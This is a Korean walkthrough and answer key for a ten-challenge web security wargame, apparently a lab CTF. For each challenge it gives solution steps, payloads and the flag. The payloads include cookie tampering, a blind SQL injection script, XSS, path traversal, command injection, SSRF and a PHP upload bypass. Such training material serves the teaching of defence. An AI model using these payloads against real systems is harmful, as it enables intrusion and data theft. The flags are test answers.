

EST 워게임 문제 워크스루

- 생성일: 2026-07-13
- 대상: EST 전술보안 인트라넷 워게임
- 제출 전제: 먼저 사이트에서 분대명을 등록해야 플래그 제출이 정상 처리됩니다.

전체 문제 요약

1. 세션 그림자

- 문제 ID: `session-shadow`
- 분류/난이도: 쿠키 변조 / 초급
- 목표: 출입 판정에 사용되는 쿠키 값을 확인하고 상위 권한으로 변경한다.

풀이 절차

1. 문제 페이지에 접속해 현재 출입 판정이 limited인지 확인한다.
2. 개발자 도구의 Application/Storage 또는 브라우저 쿠키 목록에서 shadow_role 쿠키를 찾는다.
3. shadow_role 값을 guest에서 admin으로 변경한다.
4. 페이지를 새로고침하면 granted 상태와 인증 표식이 표시된다.

핵심 페이로드

```
document.cookie = "shadow_role=admin; path=/"
```

정답

`FLAG{cookie\_role\_admin\_shadow}`

메모: 서버가 쿠키 값을 서명이나 세션 검증 없이 그대로 신뢰하는 취약점이다.

2. 비문 공지 검색소

- 문제 ID: `blind-notice`
- 분류/난이도: Boolean Blind SQL Injection / 중급
- 목표: 검색 결과 존재 여부만 이용해 비공개 메모의 FLAG를 한 글자씩 추출한다.

풀이 절차

1. 검색어가 SQL LIKE 조건에 직접 이어 붙는 구조임을 확인한다.
2. `%` OR 1=1 -- 같은 입력으로 참 조건을 만들면 결과가 존재한다고 표시된다.
3. SUBSTR(body, 위치, 1) 조건을 이용해 FLAG의 각 글자를 참/거짓으로 판별한다.
4. 반복 요청이 많으므로 간단한 스크립트로 자동화한다.

핵심 페이로드

```
%` OR SUBSTR(body,1,5)='FLAG{' --
```

자동화 예시

```
import requests
url = "http://100.83.178.9/challenges/blind-notice.php"
chars = "FLAG{}_abcdefghijklmnopqrstuvwxyz0123456789"
flag = ""
for pos in range(1, 80):
    for ch in chars:
        payload = f"%` OR SUBSTR(body,{pos},1)='{ch}' -- "
        r = requests.get(url, params={"q": payload})
        if "조건에 맞는 공지가 존재합니다" in r.text:
            flag += ch
            print(flag)
            break
    if flag.endswith("{}"):
        break
```

정답

`FLAG{boolean\_blind\_notice\_42c7}`

메모: 값을 직접 출력하지 못해도 화면 반응 차이가 있으면 데이터 추출이 가능하다.

3. 반사 게시판 검색

- 문제 ID: `reflected-board`
- 분류/난이도: DOM XSS / 중급 입문
- 목표: 검색 결과가 innerHTML로 렌더링되는 점을 이용해 alert()를 실행한다.

풀이 절차

1. 검색창에 일반 문자열을 넣어 결과 영역에 그대로 반사되는지 확인한다.
2. `<b>test</b>` 같은 태그를 넣어 HTML로 해석되는지 확인한다.
3. script 태그 대신 이미지 오류 이벤트처럼 자동 실행되는 이벤트 핸들러를 사용한다.
4. alert()가 호출되면 페이지가 FLAG를 표시한다.

핵심 페이로드

```
<img src=x onerror="alert(1)">
```

정답

`FLAG{dom\_xss\_reflected\_search\_alert}`

메모: pwned 같은 문자열은 정답 단서가 아니며 alert 함수 호출 여부만 중요하다.

4. 영상 보급창

- 문제 ID: `image-vault`
- 분류/난이도: Path Traversal / 상급 입문
- 목표: 파일명 필터가 .png 포함 여부만 검사하는 점을 이용해 내부 flag 파일을 읽는다.

풀이 절차

1. file 파라미터가 보급 파일명을 받아 서버 파일을 읽는 구조를 확인한다.
2. 필터는 파일명에 .png가 포함되는지만 확인한다.
3. 경로 이동 표현을 사용하되, 파일명 어딘가에 .png 문자열을 남긴다.
4. 최종 경로가 assets/vault/flag.txt를 가리키게 만든다.

핵심 페이로드

```
allowed.png/../flag.txt
```

정답

`FLAG{image\_vault\_path\_filter\_bypass}`

메모: 환경에 따라 경로 정규화가 다를 수 있으므로 .png를 유지한 우회 경로를 여러 방식으로 시도할 수 있다.

5. 코인 제국 보급 작전

- 문제 ID: `idle-empire`
- 분류/난이도: Client Trust / 중급
- 목표: 클라이언트 저장소와 보고 요청 값을 조작해 목표 누적 코인을 달성한 것처럼 만든다.

풀이 절차

1. 브라우저 개발자 도구에서 localStorage의 idleEmpireSave 값을 확인한다.
2. totalEarned 값이 목표 달성 판단에 사용되는지 확인한다.
3. totalEarned를 100000000 이상으로 조작하거나 claim 요청의 totalEarned 값을 직접 크게 보낸다.
4. 승인 API가 클라이언트 값을 신뢰해 FLAG를 반환한다.

핵심 페이로드

```
localStorage.setItem('idleEmpireSave', JSON.stringify({coins:100000000,totalEarned:100000000,playTime:0,levels:{}}))
```

정답

`FLAG{idle\_empire\_client\_trust\_bypass}`

메모: 중요한 검증을 클라이언트에 맡기면 사용자가 값을 바꿔 결과를 위조할 수 있다.

6. 작전 보고서 열람소

- 문제 ID: `mission-report`
- 분류/난이도: IDOR / 중급
- 목표: 공개 목록에는 없는 보고서 번호를 URL에서 직접 바꿔 비문 보고서를 열람한다.

풀이 절차

1. 공개 보고서 목록의 링크를 클릭하며 URL의 report 파라미터 변화를 관찰한다.
2. 화면에는 1001~1003만 보이지만 서버가 요청 번호의 권한을 확인하지 않는지 확인한다.
3. URL에서 report 값을 1004, 1005처럼 순서대로 바꿔본다.
4. 더미 보고서를 지나 report=1008에서 관리자 전용 비문 보고서와 FLAG를 확인한다.

핵심 페이로드

```
http://100.83.178.9/challenges/mission-report.php?report=1008
```

정답

```
`FLAG{cDgkb2FfdDE5MV9ycjQ}`
```

메모: 객체 ID를 추측할 수 있고 권한 검사가 없으면 다른 사용자의 객체에 접근할 수 있다.

7. 네트워크 진단

- 문제 ID: `net-diagnostics`
- 분류/난이도: Command Injection / 중상급
- 목표: host 입력값이 ping 명령 뒤에 그대로 붙는 점을 이용해 추가 명령을 실행한다.

풀이 절차

1. 정상 IP를 입력해 ping 결과가 출력되는지 확인한다.
2. host 값이 shell_exec로 실행되는 명령 뒤에 붙는 구조임을 확인한다.
3. 셸 구분자 ; 또는 && 뒤에 파일 출력 명령을 붙인다.
4. /tmp/est-net-diagnostics-flag.txt 내용을 출력한다.

핵심 페이로드

```
127.0.0.1; cat /tmp/est-net-diagnostics-flag.txt
```

정답

```
`FLAG{ops_ping_command_injection}`
```

메모: 사용자 입력을 셸 명령 문자열로 조립하면 명령 구분자를 통해 다른 명령이 실행될 수 있다.

8. 관리자 메모 연쇄

- 문제 ID: `admin-memo-chain`
- 분류/난이도: Stored XSS / 고급
- 목표: 저장된 메모가 HTML로 렌더링되는 점을 이용해 관리자 전용 API 호출을 유도한다.

풀이 절차

1. 메모를 등록하면 페이지에 다시 표시되는지 확인한다.
2. 메모 본문이 htmlspecialchars 없이 출력되는지 확인한다.
3. HTML 태그를 저장해 브라우저 요청을 발생시킨다.
4. admin_api=flag가 포함된 요청이 검토 흐름에 감지되면 결과 기록에 FLAG가 남는다.

핵심 페이로드

```

```

정답

```
`FLAG{stored_xss_admin_memo_chain}`
```

메모: Reflected/DOM XSS와 달리 페이로드가 서버에 저장되고 이후 렌더링 시 실행되는 점이 핵심이다.

9. 내부 보급망 점검기

- 문제 ID: `internal-supply`
- 분류/난이도: SSRF / 중상급
- 목표: 서버가 대신 URL을 요청하는 기능으로 localhost 전용 API에 접근한다.

풀이 절차

1. 브라우저에서 직접 /challenges/internal-supply.php?internal=flag에 접근하면 403이 발생한다.
2. 문제의 URL 입력칸은 서버가 file_get_contents로 대신 요청한다.
3. 입력칸에 127.0.0.1 주소를 넣어 서버가 자기 자신으로 요청하게 만든다.
4. 서버 기준 localhost 요청이므로 내부 전용 FLAG가 출력된다.

핵심 페이로드

```
http://127.0.0.1/challenges/internal-supply.php?internal=flag
```

정답

```
`FLAG{ssrf_internal_supply_route}`
```

메모: 브라우저 주소창의 127.0.0.1은 내 PC이고, SSRF 입력칸의 127.0.0.1은 서버 자신이라는 차이가 중요하다.

10. 전송 파일 업로드

- 문제 ID: `upload-dispatch`
- 분류/난이도: File Upload / 고급
- 목표: 파일명 확장자 검사를 우회해 실행 가능한 PHP 첨부을 업로드하고 숨겨진 파일을 읽는다.

풀이 절차

1. 업로드 로직이 파일명에 .png/.jpg/.jpeg 문자열 포함 여부만 확인하는지 확인한다.
2. 실제 마지막 확장자는 .php로 유지하고 중간에 .png를 넣은 파일명을 만든다.
3. 업로드된 공개 경로로 접속해 PHP가 실행되는지 확인한다.
4. 업로드 디렉터리의 .dispatch_flag 파일을 읽는다.

핵심 페이로드

파일명: shell.png.php

내용: <?php echo file_get_contents(__DIR__ . '/../dispatch_flag'); ?>

정답

`FLAG{dispatch\_upload\_php\_execution}`

메모: 파일명 문자열 검사와 웹 서버의 실제 실행 판단이 다르면 업로드 우회가 가능하다.